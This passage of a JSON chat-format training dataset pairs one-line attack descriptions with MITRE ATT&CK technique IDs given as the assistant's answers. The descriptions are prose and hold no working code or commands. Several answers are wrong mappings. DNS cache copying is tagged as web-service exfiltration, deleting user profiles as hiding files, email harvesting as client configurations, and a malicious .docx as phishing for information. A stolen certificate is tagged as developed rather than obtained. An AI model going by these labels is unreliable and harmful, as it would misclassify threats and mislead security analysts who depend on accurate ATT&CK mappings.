            },
            {
                "role": "user",
                "content": "The binary reads the system's CPU ID and only activates its malicious functionality when the ID matches a preset value."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a compromised network provider DLL that captures NTLM hashes during the authentication sequence for later cracking."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the login module to store user passwords using a reversible encryption scheme instead of a one-way hash, so the attacker can later retrieve the original passwords."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects a malicious alias definition into the .bash_aliases file, causing execution of a payload when a common command is run."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed \"icacls\" to grant \"Full Control\" to a malicious user on the \\Windows\\System32 directory, allowing further persistence."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages VDSO hijacking to replace standard libc calls in memory, allowing stealthy execution of a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary collects data from proprietary research databases and exclusive hacking forums to map the target's security infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing implant calls the Win32 API GetWindowDC and CreateCompatibleBitmap to clone the victim's screen for later analysis."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using VBA stomping, an attacker swaps out existing macro procedures in an Excel workbook with malicious macros to obscure their presence."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised external USB CD-ROM to load additional modules onto the target host."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant disables the built‑in recovery partition and wipes any existing recovery images."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor obtains a stolen code signing certificate by compromising a developer's account and uses it to legitimize its payloads."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor compromised the FTP credentials and uploaded altered files, resulting in a visibly defaced website."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a compromised FTP server within the organization to stage data, then retrieves it from an external location using stolen credentials."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fileless attack persists by embedding a malicious script within a legitimate service’s configuration, which is loaded into memory during service startup."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries harvested a stolen SSL/TLS certificate from a misconfigured public S3 bucket to perform man‑in‑the‑middle attacks."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators browse public code hosting services to locate hard‑coded AWS keys."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses the PsExec tool to launch a payload on a remote machine."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors download an exploit for a sandbox escape vulnerability to improve their ability to run malicious code undetected."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a domain account that is set to never expire for long-term access."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary acquires a free sub‑domain from a dynamic DNS service for fast‑flux operations."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group performed automated WHOIS queries on a list of domains to identify active services and potential entry points."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages file embedding techniques to hide malicious scripts inside archive files that appear benign."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group utilizes file‑less techniques, executing scripts directly in memory."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential extraction routine pulls password entries from the macOS Keychain during a session."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit downloads the device's configuration snapshot from a remote repository to map out security policies."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors scrape chat histories in Mattermost for credential strings and export them for later use."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a misconfigured AWS IAM role to list and download secrets from AWS Secrets Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the Background Intelligent Transfer Service (BITS) to create a job that downloads a malicious payload from a remote server and executes it on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan periodically sends data over an SMB connection to a compromised internal host."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware copies the system's DNS cache entries to a temporary file for later analysis."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious VBA scripts are inserted into an Excel workbook's auto‑open event, leveraging the Office Application Startup technique to gain initial execution."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a misconfigured NTP service to download the configuration backup of a firewall appliance."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a compromised IAM role to run \"aws lambda add-permission\" allowing external invocation of a Lambda function."
            },
            {
                "role": "assistant",
                "content": "T1651 - Cloud Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use the schtasks utility to schedule a recurring transfer of stolen cookies to a remote HTTP endpoint."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious package is published to a serverless function marketplace, allowing exploitation of downstream users."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor stages exfiltration data by writing it to an alternate data stream."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group edits /etc/audit/audit.rules to exclude execve syscalls, effectively halting command execution auditing."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves sending traffic to a fronting domain (e.g., a major cloud provider) and then rewriting the request to reach the real malicious endpoint."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor issues a remote PowerShell command \"Get-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run'\" to discover startup scripts and related files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performs a DCSync operation to replicate domain credentials by impersonating a Domain Controller and extracting NTLM hashes of all users."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploited the Remote Desktop Protocol offered by the cloud host to open a persistent session on a compromised virtual server."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT develops a fileless malware that runs directly from memory using reflective loading."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious scripts delete user profiles and home directories to impact availability."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary compiles a list of employee email addresses by harvesting data from conference attendee lists."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage WHOIS lookups to map organizational structure by identifying domain ownership hierarchies."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware disables the 'Allow hybrid sleep' option in power options to reduce the chance of state preservation that could hide its activity."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploited a privilege escalation bug to change the default deny rule in the cloud firewall, effectively turning it off."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the authentication configuration on a corporate router, changing the admin password and adding a new privileged account."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a custom script to invoke DCSync, harvesting user password hashes from the DC."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware disables event logging for command execution on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor disables security tools by removing their services from the startup configuration."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider used the GCP Secret Manager API with stolen service account permissions to download API keys for cloud storage and compute instances."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team simulates gathering employee names by enumerating the organization's staff through the HR portal’s publicly accessible staff directory."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses WinPcap library to perform low-level packet capture on Windows systems."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT performs a firmware flash of the device's TPM to inject code that persists across reboots and OS reinstalls."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injects malicious code into a signed executable to bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker places a malicious DLL in a directory that appears earlier in the library search path, causing the victim process to load the rogue library."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Impersonating a legitimate user through social engineering tactics"
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor performs a kernel driver load exploit to obtain ring0 access on Windows."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware encrypts data and then transfers it to an Azure Blob storage container owned by the attacker."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised news aggregator injects malicious code into RSS feed items, leading to drive‑by exploits on readers."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ native API calls to bypass user-mode defenses, executing arbitrary code directly in memory."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credentials are harvested by dumping the Active Directory database (NTDS.dit) after stopping the NTDS service."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses IPv6 transition mechanisms like NAT64/DNS64 to bypass IPv4 NAT restrictions, allowing malicious traffic to reach internal systems that lack IPv6 support."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries develop a novel heap overflow exploit to bypass DEP and gain code execution on target systems."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors alter the file type association for .html files to point to a malicious script, triggering code execution on opening any web page."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exfiltrates information using a series of tiny uploads to stay under the alert threshold."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the Windows Shell ThumbnailProvider COM interface to execute a malicious DLL each time thumbnails are generated."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors establish a hidden domain account to maintain stealthy persistence within the network."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious developers produce a modular Trojan that can load plug‑ins for data exfiltration and credential theft."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign delivered a malicious PowerShell script embedded in a .docx attachment, which executed after the user enabled content."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a misconfigured server, the threat actor extracts service account tokens from environment variables and reuses them to access cloud resources."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing attachment executes code that rapidly fills the disk with junk files on a user's computer, preventing any further operations."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used the legitimate Windows task name \"WinRM\" for a scheduled task that actually executed a malicious payload at regular intervals."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage a common secret key to encrypt payloads sent over a covert TCP tunnel, forming an encrypted channel for command delivery."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware calls the Windows API EnumServicesStatusEx to retrieve details about all services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
